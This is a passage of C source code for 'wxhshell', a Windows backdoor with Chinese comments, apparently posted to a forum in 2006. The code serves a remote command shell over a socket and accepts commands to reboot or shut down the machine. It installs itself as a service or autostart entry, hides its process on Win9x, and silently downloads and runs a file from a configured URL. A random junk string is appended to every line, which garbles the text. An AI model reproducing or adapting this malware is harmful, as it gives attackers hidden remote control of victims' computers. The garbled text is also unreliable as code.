  else { |]]pHC_/W  
At^DY!3vx  
    switch(cmd[0]) { NGb! 7Mu9  
  XM5;AcD  
  // 帮助 H?/cG_^y0  
  case '?': { 7]HIE]#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ph7(JV{  
    break; E6wST@ r  
  } @u'27c_<d3  
  // 安装 /iJcy:J  
  case 'i': { 37M[9m|D*  
    if(Install()) [2H(yLwO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *v7& T  
    else zf!\wY"`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o"+ &^  
    break; |Nx!g fU  
    } 2O)Kn q  
  // 卸载 51(`wo>LS  
  case 'r': { Z=/L6Zb  
    if(Uninstall()) [XU{)l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S bqM=I+  
    else J/&*OC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xy8ie:D  
    break; XGup,7e9  
    } m=y,_Pz>U  
  // 显示 wxhshell 所在路径 OaCj3d>  
  case 'p': { /*p?UW<*4  
    char svExeFile[MAX_PATH]; 2.L6]^N p(  
    strcpy(svExeFile,"\n\r"); ,DUQto  
      strcat(svExeFile,ExeFile); *p5T  
        send(wsh,svExeFile,strlen(svExeFile),0); ", Rw%_  
    break; uc(yos  
    } +mQC:B7>  
  // 重启 ujp,D#xHP  
  case 'b': { g #<?OFl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6%hEs6-R  
    if(Boot(REBOOT)) <IkD=X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '*{Rn7B5  
    else { LVcy.kU@]  
    closesocket(wsh); f!kdcr=/"  
    ExitThread(0); JP% ;rAoJ  
    } 3/|{>7]1  
    break; &l}xBQAL  
    } v&/-&(+  
  // 关机 8P y_Y>  
  case 'd': { >U Ich  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &#\7w85$  
    if(Boot(SHUTDOWN)) g<0%-p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SE-, 1p  
    else { XK9*,WA9r  
    closesocket(wsh); `0vy+T5  
    ExitThread(0); FbNQ  
    } 2o3k=hKS  
    break; -+2xdLa63  
    } *E q7r>[  
  // 获取shell XlcDF|?{.  
  case 's': { GM56xZ!2T  
    CmdShell(wsh); k.f:nv5JO  
    closesocket(wsh); :qKY@-t7H  
    ExitThread(0); "YU~QOGx@  
    break; FrM~6A_  
  } )s[S.`S Tz  
  // 退出 iYs?B0*JWK  
  case 'x': { 4U1fPyt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l{x#*~g a  
    CloseIt(wsh); !x / Z"  
    break; @uD{`@[  
    } &IY_z0=  
  // 离开 !{aA*E{  
  case 'q': { otVdx&%]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tl#s:  
    closesocket(wsh); nk.E q[08  
    WSACleanup(); 5Jd {Ev  
    exit(1); wD Y7B  
    break; 4gt "dfy+  
        } eC:Q)%$%l  
  } i_^NbC   
  } ~TIZumGB  
dp W%LXM_  
  // 提示信息 A>@e pCD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]KT,s].  
} epyYo&x}  
  } ,B>b9,~3a  
>5W"a?(  
  return; Pt;Ahmi  
} `;GGuJb \  
)f&]H}  
// shell模块句柄 LZ:\V)5+  
int CmdShell(SOCKET sock) OEi9 )I  
{ n:] 1^wX#  
STARTUPINFO si; u6d~d\  
ZeroMemory(&si,sizeof(si)); rmJ847%y`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m(]IxI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o:*iT =l  
PROCESS_INFORMATION ProcessInfo; H43D=N&  
char cmdline[]="cmd"; '~a$f;: Dv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |:BYOxAYZ8  
  return 0; BBj"}~da  
} jo#F&  
^<+heX  
// 自身启动模式 5aQg^f%\  
int StartFromService(void) _ @76eZd  
{ y5h[^K3  
typedef struct 6[7k}9`alz  
{ ?!-im*~w  
  DWORD ExitStatus; - mXr6R?  
  DWORD PebBaseAddress; FQl|<l6  
  DWORD AffinityMask; 4tTJE<y  
  DWORD BasePriority; I%xJ)fIK  
  ULONG UniqueProcessId; L,L7WObA  
  ULONG InheritedFromUniqueProcessId; "KwKO8f  
}   PROCESS_BASIC_INFORMATION; t,nB`g?  
T667&@  
PROCNTQSIP NtQueryInformationProcess; 4F!d V;"Z(  
:"]ei@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b"9,DQB=i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A4h/oMis  
1fZ:^|\  
  HANDLE             hProcess; H skN(Ho  
  PROCESS_BASIC_INFORMATION pbi; eRbO Hj1  
~G:7*:[b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cw{[B%vw  
  if(NULL == hInst ) return 0; Y?cw9uYB  
| &vuK9q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o5R40["  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U)8]pUI+/P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jmx }r,j  
lX3h'h  
  if (!NtQueryInformationProcess) return 0; 3R {y68-S  
:~Y$\Ww(~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c2/HY8ttRD  
  if(!hProcess) return 0; #J_i 5KmXJ  
FO$Tn+\6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UepBXt3)  
+_Z/VQv  
  CloseHandle(hProcess); `m^OnH  
lH.2H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I "4B1g  
if(hProcess==NULL) return 0; Ip0q&i<6  
.<dmdqk]  
HMODULE hMod; $}fA;BP  
char procName[255]; 2Fi*)\{  
unsigned long cbNeeded; ~l~g0J  
): 6d_g{2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .>n|#XK  
bE~lc}%  
  CloseHandle(hProcess); k7*q.20  
T^_9R;  
if(strstr(procName,"services")) return 1; // 以服务启动 D2bUSRrb  
.&y1gh!=  
  return 0; // 注册表启动 X[<9+Q-&  
} at!?"u  
:F&WlU$L  
// 主模块 )w-?|2-w5  
int StartWxhshell(LPSTR lpCmdLine) CCV~nf  
{ Rd)QVEk>SD  
  SOCKET wsl; UZ#2*PH2E  
BOOL val=TRUE; >YLm]7v}  
  int port=0; O;2 u1p'iP  
  struct sockaddr_in door; b3+PC$z2h  
S6]':  
  if(wscfg.ws_autoins) Install(); 1oPT8)[U  
nP^$p C  
port=atoi(lpCmdLine); ?}[keSEh>  
VM[8w`  
if(port<=0) port=wscfg.ws_port; @d\F; o<  
"|if<hx+  
  WSADATA data; 3nO|A: t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DZue.or  
s><co]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AM>:At Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :z\STXq  
  door.sin_family = AF_INET; \+xsJbEV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4"sP= C  
  door.sin_port = htons(port); #82B`y<<y/  
FWg7 e3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9\F^\h{  
closesocket(wsl); ry'(m M  
return 1; Lmb<)YY  
} '' 6  
4rm/+Zes  
  if(listen(wsl,2) == INVALID_SOCKET) { cu-WY8n  
closesocket(wsl); Ty=}A MMyE  
return 1; S4w/ kml3  
} iX=*qiVX  
  Wxhshell(wsl); L6m'u6:1{  
  WSACleanup(); qb Q> z+c  
)n.peZ  
return 0; P]n ' q  
S~T[*Z/m  
} X 6)LpMm  
SpgVsz  
// 以NT服务方式启动 PsLCO(26  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !ZRV\31%  
{ iQKfx#kt  
DWORD   status = 0; om1 / 9  
  DWORD   specificError = 0xfffffff; XL:7$  
* XJSa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i+;E uHf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :O7J9K|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6XP>p$-  
  serviceStatus.dwWin32ExitCode     = 0; tVOx  
  serviceStatus.dwServiceSpecificExitCode = 0; b}fH$.V@  
  serviceStatus.dwCheckPoint       = 0; +"!IVHY  
  serviceStatus.dwWaitHint       = 0; DsoF4&>g[B  
<W pz\U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yC[}gHv  
  if (hServiceStatusHandle==0) return; 5GKz@as8  
>9 iv>  
status = GetLastError(); KvQ9R!V  
  if (status!=NO_ERROR) du !.j  
{ "jSn`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *$QUE0  
    serviceStatus.dwCheckPoint       = 0; 5J,vH  
    serviceStatus.dwWaitHint       = 0; \m<*3eS  
    serviceStatus.dwWin32ExitCode     = status; IY'S<)vOY  
    serviceStatus.dwServiceSpecificExitCode = specificError; B4kIcHA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O'k"6sBb  
    return; KnuqU2< {  
  } Jps!,Mflc  
i |t$sBIh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q45n.A6a  
  serviceStatus.dwCheckPoint       = 0; z8o Sh t`+  
  serviceStatus.dwWaitHint       = 0; 8:f( PN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v[m>;Ubg&  
} PYZ8@G  
kW"N~Xw)  
// 处理NT服务事件,比如:启动、停止 m`/OO;/;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s SDBl~g  
{ 0:XmReO+k  
switch(fdwControl) ,-):&V:jF  
{ %EuSP0  
case SERVICE_CONTROL_STOP: `!i>fo~  
  serviceStatus.dwWin32ExitCode = 0; <*L8kNykK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E:2Or~  
  serviceStatus.dwCheckPoint   = 0; NunT1ved  
  serviceStatus.dwWaitHint     = 0; Af;$}P  
  { ="V6z$N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LVSJK.B  
  } {'/8{dS  
  return; >1YJETysO  
case SERVICE_CONTROL_PAUSE: JH 8^ZP:d'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r;-\z(h  
  break; @ Fu|et  
case SERVICE_CONTROL_CONTINUE: #(%6urd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QgP UP[  
  break; ='(:fHhhX  
case SERVICE_CONTROL_INTERROGATE: w0pH|$"/P  
  break; B{44|aq1|  
}; [ACa<U/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); um/iK}O  
} 8"+Kz  
L!\I>a5C0G  
// 标准应用程序主函数 cG.4%Va@s_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +BESO  
{ Lx.X#n.]T  
Gd!y,n&s  
// 获取操作系统版本 @>:r'Fmu-  
OsIsNt=GetOsVer(); O %OeYO69  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "bJWyUb  
./u3z|q1  
  // 从命令行安装  0y?bwxkc  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9Z} -%Z[,)  
D ,nF0p  
  // 下载执行文件 LVX.stN#p  
if(wscfg.ws_downexe) { C&\#{m_1B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J=  T!  
  WinExec(wscfg.ws_filenam,SW_HIDE); kEi!q  
} 2QdqVwm  
{<V{0 s%  
if(!OsIsNt) { U<zOR=_  
// 如果时win9x,隐藏进程并且设置为注册表启动 PAJt M  
HideProc(); XLB7 E  
StartWxhshell(lpCmdLine); &4LrV+`$V  
} +5voAx!  
else h DCR>G  
  if(StartFromService()) |Gz(q4  
  // 以服务方式启动 ~OXPn9qPp  
  StartServiceCtrlDispatcher(DispatchTable); "~XAD(T6  
else vLq_l4l  
  // 普通方式启动 (<|,LagTuc  
  StartWxhshell(lpCmdLine); 3:s!0ty"  
G22u+ua  
return 0; 'vBuQinn  
}
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只看该作者 1 发表于: 2006-10-10
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